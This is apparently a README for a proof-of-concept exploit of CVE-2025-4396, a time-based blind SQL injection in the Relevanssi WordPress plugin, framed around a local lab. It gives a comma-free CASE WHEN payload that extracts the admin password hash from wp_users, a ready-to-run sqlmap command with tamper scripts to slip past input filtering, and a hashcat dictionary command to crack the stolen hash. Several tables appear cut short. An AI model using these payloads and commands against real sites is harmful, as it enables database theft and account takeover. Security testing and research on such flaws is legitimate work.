CVE-2025-4396 — Relevanssi SQL Injection (Time-Based Blind)
Disclaimer: This repository is intended for authorized penetration testing, security research, and educational purposes only. Unauthorized access to computer systems is illegal and unethical.
Overview
A proof-of-concept exploit for a time-based blind SQL injection vulnerability in the Relevanssi 4.24.4 WordPress plugin. This implementation specifically addresses hardened environments where:
- Commas are filtered — breaking standard
SUBSTR(str, pos, len) and IF(cond, true, false) syntax
- Greedy sleep behavior occurs — causing MySQL to execute
SLEEP() before evaluating the full expression, producing false positives
Background
In certain environments (e.g., the DVWP lab), standard SQL injection payloads fail for two key reasons:
| Problem | Effect |
|---|
| Comma stripping | Breaks SUBSTR(str, pos, len) and IF(cond, true, false) |
Greedy SLEEP() | MySQL evaluates sleep before the full boolean expression, causing false positives |
Both issues require targeted workarounds — covered by the manual and automated approaches below.
Manual Exploit (asy.py)
An asynchronous Python script providing surgical character-by-character extraction. Avoids automated tool overhead and bypasses comma filtering via CASE WHEN logic.
Features
| Feature | Implementation |
|---|
| Async I/O | aiohttp for non-blocking requests |
| Comma-less payloads |
Core Injection Logic
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Why CASE WHEN instead of IF()?
IF() uses commas and is subject to greedy evaluation. CASE WHEN evaluates lazily, ensuring SLEEP() is only triggered when the condition is genuinely TRUE.
Automated Exploit (SQLMap)
SQLMap can automate discovery in this environment using specific tamper scripts and flags.
Command
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
Flag Reference
Note on --threads=1: This is essential for reliable extraction. Multiple threads cause sleep delays to overlap, corrupting the binary search timing and producing garbled output.
Lab Findings
| Field | Value |
|---|
| Target | WordPress table |
Cracking the Hash
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- Mode
-m 400 targets phpass hashes
- Attack
-a 0 is a straight dictionary attack using rockyou.txt
References